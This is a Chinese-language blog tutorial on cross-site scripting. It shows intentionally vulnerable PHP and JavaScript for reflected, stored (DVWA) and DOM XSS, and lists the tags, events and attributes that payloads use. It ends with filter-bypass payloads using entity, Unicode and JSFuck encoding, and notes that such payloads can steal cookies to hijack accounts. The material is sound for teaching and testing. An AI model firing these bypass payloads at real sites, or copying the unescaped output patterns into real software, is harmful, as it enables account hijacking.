xss-程式碼角度理解與繞過filter

Dark1nt發表於2021-06-05

0x00 原理

  xss全稱為cross site scripting,中文為跨站指令碼攻擊。它允許web使用者將惡意程式碼植入到提供給使用者使用的頁面。程式碼包括HTML程式碼和客戶端指令碼。

0x01 危害

  • 盜取使用者賬戶(獲取cookie)
  • 控制網頁資料
  • 盜竊企業資料
  • 非法轉賬
  • 強制傳送電子郵件
  • 網站掛馬
  • 控制受害者機器向其他網站發起攻擊

0x02 xss類別以及程式碼實現

0x02.1 反射型xss

  反射型xss也叫非永續性xss,是一種常見的xss漏洞,但是危害較小。

後端程式碼

<?php
  highlight_file('reflect_xss.php');
  $user=$_GET['user'];
  echo $user;
?>

前端測試


可以看到我們的js程式碼被直接插入進了頁面執行。

根據需求可以構造各種各樣的js程式碼


因為沒設定cookie 所以不彈cookie

0x02.2 儲存型xss

  儲存型xss也被稱做持久型xss,儲存xss是最危險的一種跨站指令碼。它被伺服器接收並儲存,使用者訪問該網頁,這段xss就會被讀取出來到瀏覽器。
一般出現在留言板

後端程式碼(拆了dvwa的xss儲存做測試)

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = stripslashes( $message );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Sanitize name input
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

審計原始碼 我們可以發現,先檢測了使用者是否輸入,然後對輸入的名字和內容進行檢測,最後將值插入到資料庫中

前端測試


在當前頁面重新整理後,會重新進行sql查詢,將查詢到的結果返回到頁面上。


所以可以通過這種方式去獲取他人cookie,實現登入他人賬號。

0x02.3 dom型xss

  dom型xss只發生在客戶端處理資料階段,可認為dom型xss就是出現在javascript中的漏洞。

前端程式碼

<html>
<head>
<title>aa</title>
</head>
<body>
<script>
	var temp=document.URL;
	var index=document.URL.indexOf("content=")+4;
	var par=temp.substring(index);
	document.write(decodeURI(par));
</script>
</body>
</html>

關鍵是script標籤下的程式碼,因為用到了document.write 使得使用者輸入的程式碼被寫入到了頁面上。

前端測試


0x03 xss常見payload中用到的標籤

<script> 
<a> 
<p> 
<img> 
<body> 
<button> 
<var> 
<div> 
<iframe> 
<object> 
<input> 
<select> 
<textarea> 
<keygen> 
<frameset> 
<embed> 
<svg> 
<math> 
<video> 
<audio>
<style>

0x04 xss常見payload中用到的事件

onload 
onunload 
onchange 
onsubmit 
onreset 
onselect 
onblur 
onfocus 
onabort 
onkeydown 
onkeypress 
onkeyup 
onclick 
ondbclick 
onmouseover 
onmousemove 
onmouseout 
onmouseup 
onforminput 
onformchange 
ondrag 
ondrop

0x05 xss常見payload中用到的屬性

formaction 
action 
href 
xlink:href 
autofocus 
src 
content 
data

0x06 xss繞過的一些技巧

屬性與屬性之間需要空格,而屬性與標籤之間可以不用

  • <img/src=x onerror=alert(1)> 通殺各種xss漏洞

使用html實體編碼

  • <a href=j&#x61;v&#97script&#x3A;&#97lert(13)>M 一般用於dom型

xlink:href隱藏連結

  • <svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg> 通殺

jsfuck編碼彈窗

  • <script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script> 一般用於dom型
    網站: http://www.jsfuck.com/

並不需要規範的script

  • <script ????>alert(1)</script> 通殺

使用unicode編碼+html實體編碼

  • <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061lert(/XSS/)></script> 一般用到html實體編碼的只能殺dom型

使用unicode編碼

  • <script>\u0061\u006c\u0065\u0072\u0074(/\u002f\u0078\u0073\u0073\u002f/)</script> 通殺

相關文章